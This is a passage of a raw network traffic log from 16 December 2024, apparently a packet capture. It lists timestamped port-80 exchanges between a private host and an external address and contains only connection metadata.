Dec 16, 2024 15:02:29.135288954 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.135369062 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.136054039 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.136107922 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.136137962 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.136333942 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.137017012 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.137059927 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.137077093 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.137125015 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.137902975 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.138008118 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.138037920 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.138056993 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.138816118 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.138860941 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.138928890 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.139055967 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.139741898 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.139794111 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.139826059 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.139867067 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.139980078 CET	80	49911	185.215.113.206	192.168.2.6
Dec 16, 2024 15:02:29.140738964 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.140786886 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.140814066 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.140862942 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.141694069 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.141746998 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.141814947 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.141930103 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.142679930 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.142723083 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.142746925 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.142770052 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.143610954 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.143665075 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.143665075 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.143703938 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.144556999 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.144607067 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.144614935 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.144645929 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.145483017 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.145529985 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.145536900 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.145571947 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.146424055 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.146516085 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.146544933 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.146686077 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.147351980 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.147408962 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.147445917 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.147490978 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.148282051 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.148329973 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.148399115 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.148439884 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.149249077 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.149307966 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.149341106 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.149383068 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.150214911 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.150262117 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.150352001 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.150393009 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.151180029 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.151226997 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.151263952 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.151304007 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.152089119 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.152139902 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.152280092 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.152369022 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.153073072 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.153161049 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.153172016 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.153213024 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.154005051 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.154052973 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.154093981 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.154133081 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.154944897 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.154989958 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.155056953 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.155097008 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.155884027 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.155934095 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.155987978 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.156085014 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.156871080 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.156929970 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.156963110 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.157001972 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.157996893 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.158058882 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.158122063 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.158168077 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.158730030 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.158777952 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.158844948 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.159049988 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.159753084 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.159801960 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.159810066 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.159852028 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.160670042 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.160782099 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.160829067 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.161604881 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.161660910 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.161696911 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.161792994 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.162540913 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.162586927 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.162663937 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.162779093 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.163527012 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.163575888 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.163605928 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.163764000 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.164490938 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.164640903 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.164684057 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.165431023 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.165488005 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.165528059 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.165577888 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.166335106 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.166388035 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.166467905 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.166542053 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.167370081 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.167390108 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.167418003 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.167435884 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.168287992 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.168335915 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.168589115 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.168636084 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.169174910 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.169243097 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.169280052 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.169316053 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.170169115 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.170208931 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.170238972 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.170277119 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.171149015 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.171189070 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.171349049 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.171684027 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.172095060 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.172135115 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.172171116 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.172204018 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.173043013 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.173082113 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.173113108 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.173170090 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.173935890 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.173984051 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.174043894 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.174082994 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.174873114 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.174937963 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.174967051 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.175002098 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.175895929 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.175937891 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.176079988 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.176156998 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.176800013 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.176846027 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.176917076 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.176989079 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.177817106 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.177865028 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.177900076 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.177941084 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.178694010 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.178751945 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.178783894 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.178826094 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.179714918 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.179761887 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.179934978 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.179980040 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.180598021 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.180674076 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.180769920 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.180769920 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.181579113 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.181637049 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.181976080 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.182015896 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.182487965 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.182526112 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.182563066 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.182600021 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.183486938 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.183528900 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.325825930 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.325877905 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.325918913 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.325956106 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.326343060 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.326375961 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.326426029 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.326457024 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.327241898 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.327297926 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.327352047 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.327922106 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.328191042 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.328244925 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.328339100 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.328381062 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.329149961 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.329241037 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.329271078 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.329319954 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.330122948 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.330226898 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.330277920 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.331051111 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.331137896 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.331152916 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.331192970 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.332026958 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.332101107 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.332123041 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.332163095 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.332182884 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.332962990 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.333022118 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.333076954 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.333193064 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.333954096 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.334002972 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.334067106 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.334103107 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.334873915 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.334918976 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.334949017 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.334997892 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.335813046 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.335921049 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.335953951 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.336057901 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.336756945 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.336816072 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.336997986 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.337037086 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.337713957 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.337759972 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.337821007 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.337861061 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.338666916 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.338709116 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.338779926 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.338814974 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.339617968 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.339700937 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.339729071 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.339766026 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.340548038 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.340585947 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.340651989 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.340698004 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.341528893 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.341595888 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.341605902 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.341644049 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.342456102 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.342534065 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.342560053 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.342593908 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.343514919 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.343583107 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.343628883 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.343849897 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.344361067 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.344409943 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.344618082 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.344672918 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.345303059 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.345340967 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.345382929 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.345417023 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.346250057 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.346328020 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.346369028 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.346417904 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.347209930 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.347259045 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.347299099 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.347480059 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.348170042 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.348248005 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.348355055 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.348402977 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.349235058 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.349349976 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.349399090 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.350070000 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.350116968 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.350332975 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.350375891 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.351011992 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.351118088 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.351177931 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.351989031 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.352036953 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.352238894 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.352279902 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.352897882 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.352993011 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.353022099 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.353243113 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.354666948 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.354753971 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.354775906 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.354794979 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.355341911 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.355391026 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.355432034 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.355473042 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.356136084 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.356184959 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.356216908 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.356260061 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.357101917 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.357173920 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.357243061 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.357283115 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.358143091 CET	80	49918	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:29.358200073 CET	49918	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:29.358257055 CET	80	49918	185.215.113.16	192.168.2.6
